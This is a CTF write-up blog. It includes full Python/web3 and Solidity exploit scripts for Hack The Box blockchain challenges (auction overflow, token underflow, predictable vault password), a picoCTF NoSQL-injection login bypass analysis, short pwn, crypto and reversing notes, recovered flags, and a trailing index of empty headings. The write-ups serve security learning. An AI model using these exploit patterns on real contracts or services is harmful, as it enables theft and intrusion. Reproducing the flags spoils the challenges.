        "maxPriorityFeePerGas": w3.to_wei(1, "gwei"),
    }
    stx = acct.sign_transaction(tx)
    h = w3.eth.send_raw_transaction(stx.raw_transaction)
    r = w3.eth.wait_for_transaction_receipt(h)
    return h.hex(), r.status

# fund second EOA for gas
print(send(acctA, acctB.address, value=w3.to_wei(1, "ether"), gas=21000))

# set top bid to 2^63
print(send(acctA, TARGET, value=(1 << 63)))

# overflow timeout with alternating 0-value bids
for i in range(1, 260):
    cur_top, _ = top_bidder()
    nxt = acctB if cur_top.lower() == PLAYER.lower() else acctA
    txh, st = send(nxt, TARGET, value=0, gas=120000)
    if st != 1:
        raise RuntimeError(f"zero-bid failed at step {i}: {txh}")

    tmo = call_u256(TARGET, sel_timeout)
    now = w3.eth.get_block("latest").timestamp
    top, bid = top_bidder()
    if tmo < now and top.lower() == PLAYER.lower():
        print("ready", i, "timeout", tmo, "now", now, "top", top, "bid", bid)
        break

# claim
print(send(acctA, TARGET, data=sel_claim, gas=150000))

solved_raw = w3.eth.call({
    "to": SETUP,
    "data": sel_solved + bytes.fromhex(PLAYER[2:].rjust(64, "0"))
})
print("isSolved:", int.from_bytes(solved_raw, "big") == 1)
print("flag:", requests.get(BASE + "/flag", timeout=10).text)

Flag

HTB{0v32f10w_70_w1n_7h3_4uc710n}

HTB - Blockchain: Token to Wonderland

Wed, 25 Feb 2026 01:42:00 +0700

Challenge Summary

Name: Token to Wonderland
Category: Blockchain
Difficulty: Easy
Goal condition: become owner of item index 2 (Golden Key)

Root Cause

The token contract uses Solidity 0.7 unchecked arithmetic and validates transfer with:

require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");

That condition is broken in 0.7: subtraction underflow wraps instead of reverting.

Exploit Chain

Start with player balance = 100.
Transfer 101 → underflow balance to huge value.
Approve Shop to spend large amount.
Call buyItem(2) for Golden Key.

Full PoC Script (Python/web3)

#!/usr/bin/env python3
import requests
from web3 import Web3
from eth_utils import keccak

BASE = "http://<INSTANCE_IP>:<PORT>"
RPC = BASE + "/rpc"

info = requests.get(BASE + "/connection_info", timeout=10).json()
priv = info["PrivateKey"]
player = Web3.to_checksum_address(info["Address"])
shop = Web3.to_checksum_address(info["TargetAddress"])
setup = Web3.to_checksum_address(info["setupAddress"])

w3 = Web3(Web3.HTTPProvider(RPC))
acct = w3.eth.account.from_key(priv)

# Shop storage slot 1 holds SilverCoin address
slot1 = w3.eth.get_storage_at(shop, 1)
silver = Web3.to_checksum_address("0x" + slot1.hex()[-40:])

sig_transfer = keccak(text="transfer(address,uint256)")[:4]
sig_approve = keccak(text="approve(address,uint256)")[:4]
sig_buy = keccak(text="buyItem(uint256)")[:4]
sig_solved = keccak(text="isSolved(address)")[:4]


def pad32(x: int) -> bytes:
    return x.to_bytes(32, "big")


def pad_addr(a: str) -> bytes:
    return bytes.fromhex(a[2:].rjust(64, "0"))


def send(to, data, gas=180000):
    tx = {
        "chainId": w3.eth.chain_id,
        "nonce": w3.eth.get_transaction_count(player),
        "to": to,
        "value": 0,
        "gas": gas,
        "data": data,
        "maxFeePerGas": w3.to_wei(2, "gwei"),
        "maxPriorityFeePerGas": w3.to_wei(1, "gwei"),
    }
    stx = acct.sign_transaction(tx)
    h = w3.eth.send_raw_transaction(stx.raw_transaction)
    r = w3.eth.wait_for_transaction_receipt(h)
    return h.hex(), r.status

# 1) Underflow
print(send(silver, sig_transfer + pad_addr(shop) + pad32(101), gas=120000))
# 2) Approve
print(send(silver, sig_approve + pad_addr(shop) + pad32(30_000_000), gas=120000))
# 3) Buy key
print(send(shop, sig_buy + pad32(2), gas=180000))

solved_raw = w3.eth.call({"to": setup, "data": sig_solved + pad_addr(player)})
print("isSolved:", int.from_bytes(solved_raw, "big") == 1)
print("flag:", requests.get(BASE + "/flag", timeout=10).text)

Flag

HTB{und32f10w_70_937_7h3_k3y}

HTB - Blockchain: Magic Vault

Wed, 25 Feb 2026 01:41:00 +0700

Challenge Summary

Name: Magic Vault
Category: Blockchain
Difficulty: Easy
Goal condition: make TARGET.mapHolder() != address(TARGET)

Root Cause

unlock(bytes16) depends on internal key material derived from _magicPassword(), where constructor-time passphrase derivation uses:

keccak256(abi.encodePacked(uint256(blockhash(block.timestamp))))

In constructor context, that blockhash path is effectively deterministic for this challenge deployment pattern. Combined with strict but satisfiable bit-layout checks, the lock can be opened reliably.

Exploit Contract (Full PoC)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IVault {
    function nonce() external view returns (uint256);
    function owner() external view returns (address);
    function unlock(bytes16 _password) external;
    function claimContent() external;
}

contract Exploit {
    IVault public target;
    uint256 private n;

    constructor(address _target) {
        target = IVault(_target);
    }

    function _generateKey(uint256 _reductor) private returns (uint256 ret) {
        ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + n)));
        n++;
    }

    function _magicPassword() private returns (bytes8) {
        n = target.nonce();
        uint256 key1 = _generateKey(block.timestamp % 2 + 1);
        uint128 key2 = uint128(_generateKey(2));

        bytes32 passphrase = keccak256(abi.encodePacked(uint256(0)));
        bytes8 secret = bytes8(
            bytes16(
                uint128(
                    uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ key1)))) ^ key2
                )
            )
        );
        return (secret >> 32 | secret << 16);
    }

    function pwn() external {
        uint64 ownerPart = uint64(uint160(target.owner()));
        uint64 secretPart = uint64(_magicPassword());
        bytes16 key = bytes16((uint128(ownerPart) << 64) | secretPart);
        target.unlock(key);
        target.claimContent();
    }
}

Deployment / Execution

forge create --broadcast Exploit.sol:Exploit \
  --rpc-url "$RPC" \
  --private-key "$PRIV" \
  --constructor-args "$TARGET"

cast send "$EXPLOIT_ADDR" "pwn()" --rpc-url "$RPC" --private-key "$PRIV"

Flag

HTB{3ve2yth1n9_15_pu811c_1n_7h3_810ckch41n}

HTB - Blockchain: Honor Among Thieves

Wed, 25 Feb 2026 01:40:00 +0700

Challenge Summary

Name: Honor Among Thieves
Category: Blockchain
Difficulty: Easy
Goal condition: force isSolved(player) == true

This challenge is a good reminder that on-chain history is public and exploitable. Instead of brute-forcing secret material, we used transaction/event intelligence and replayed the winning primitive.

Root Cause

The contract flow leaked enough information via prior chain interactions (logs/calldata context) to recover a valid key used by the target logic.

0x4 - Learn CTF: Web Exploitation

Tue, 24 Feb 2026 12:58:00 +0700

No SQL Injection (picoCTF)

Summary

Category: Web / NoSQL Injection
Challenge: No SQL Injection
Target: http://atlas.picoctf.net:54182/
Goal: bypass login and recover flag token.

Source analysis

From server.js, login handler parses user input like this:

email:
  email.startsWith("{") && email.endsWith("}")
    ? JSON.parse(email)
    : email,
password:
  password.startsWith("{") && password.endsWith("}")
    ? JSON.parse(password)
    : password,

Then it performs:

User.findOne({ email: <parsed>, password: <parsed> })

So if we send JSON object strings, they become Mongo operators instead of plain strings.

0x3 - Learn CTF: Binary Exploitation

Tue, 24 Feb 2026 04:10:00 +0700

Secret Garden — fastbin dup + `__malloc_hook` overwrite (glibc 2.23)

Summary

Category: Pwn / Heap Exploitation
Challenge: pwnable.tw - secretgarden
Binary: secretgarden
Libc: libc_64.so.6 (Ubuntu GLIBC 2.23)
Protections: RELRO + Canary + NX + PIE
Flag:

FLAG{FastBiN_C0rruption_t0_BUrN_7H3_G4rd3n}

Bug and primitive

The program stores flower objects in a global array. Each flower has a heap-allocated name pointer.

0x2 - Learn CTF: Cryptography

Mon, 23 Feb 2026 23:40:00 +0700

error-code — Merkle-Hellman implementation bug

Summary

Category: Cryptography
Challenge: error-code
Core scheme: Merkle-Hellman knapsack (subset-sum)
Given files: chall.py, output
Recovered flag:

CBC{4_cl4ss1c_subs3t_sum_pr0blem_r1ght_9c209955}

Problem statement (practical)

The challenge author says they implemented Merkle-Hellman, but decryption does not work. The job is to identify the implementation error and recover the plaintext.

0x1 - Learn CTF: Reverse Engineering

Mon, 23 Feb 2026 15:30:00 +0700

re-010 — Network byte-transform checker

Summary

Type: Reversing (ELF64, stripped, PIE)
Behavior: TCP server flag checker
Port: 31338
Expected input length: 37 bytes
Result: :) on success, :( on failure
Flag: CBC{c72b6b1feb2dbb3132380e1a9f967441}

Notes

The binary does not read from stdin directly; it binds/listens and validates client input over a socket.
Validation is split into 3 blocks of 16 transformed-byte checks using constant tables in .rodata.
Recovered plaintext chunks:
- CBC{c72b6b1feb2d
- bb3132380e1a9f96
- 7441}
Combined final flag:

CBC{c72b6b1feb2dbb3132380e1a9f967441}

Validation

# run service
./chall

# in another shell
python3 - << 'PY'
import socket
flag='CBC{c72b6b1feb2dbb3132380e1a9f967441}'
s=socket.create_connection(('127.0.0.1',31338))
print(s.recv(200))
s.sendall(flag.encode()+b'\n')
print(s.recv(200))
PY

Expected response contains :).

Ctf on Zero's Blog

HTB - Crypto: Raining Primes

Challenge Summary

Root Cause

HTB - Reversing: Maze

Challenge Summary

Root Cause

HTB - Reversing: Hexecution

Challenge Summary

Root Cause

HTB - Reversing: vvm

Challenge Summary

Root Cause

EH4X CTF 2026: Writeup

Overview

Table of Contents

Heist V1 (Blockchain)

TL;DR

HTB - Quantum: Phase Madness

Challenge Summary

Root Cause

HTB - Reversing: Wayback

Challenge Summary

Root Cause

Exploit Strategy

HTB - Quantum: Flagportation

Challenge Summary

Root Cause

HTB - Reversing: Virtually Mad

Challenge Summary

Root Cause

HTB - Quantum: Global Hyperlink Zone

Challenge Summary

Root Cause

HTB - Reversing: Rega Town

Challenge Summary

Root Cause

Exploit Strategy

Solver Code

Flag

HTB - Pwn: Arms roped

Challenge Summary

Binary Recon

HTB - Crypto: Neon Core

Challenge Summary

Root Cause

HTB - Crypto: Shambles

Challenge Summary

Root Cause

HTB - Crypto: POPO

Challenge Summary

Root Cause

HTB - Crypto: ReMeeting the Wheel

Challenge Summary

Root Cause

HTB - Crypto: AliEnS

Challenge Summary

Root Cause

HTB - Crypto: Twisted Entanglement

Challenge Summary

Root Cause

HTB - Crypto: Shamir's Secret

Challenge Summary

Root Cause

HTB - Crypto: quick maffs

Challenge Summary

Root Cause

HTB - Crypto: YALM

Challenge Summary

Root Cause

HTB - Crypto: Birds of randomness

Challenge Summary

Root Cause

HTB - Crypto: Rhome

Challenge Summary

Root Cause

Exploit Strategy

Solve Script (Full PoC)

Run

Result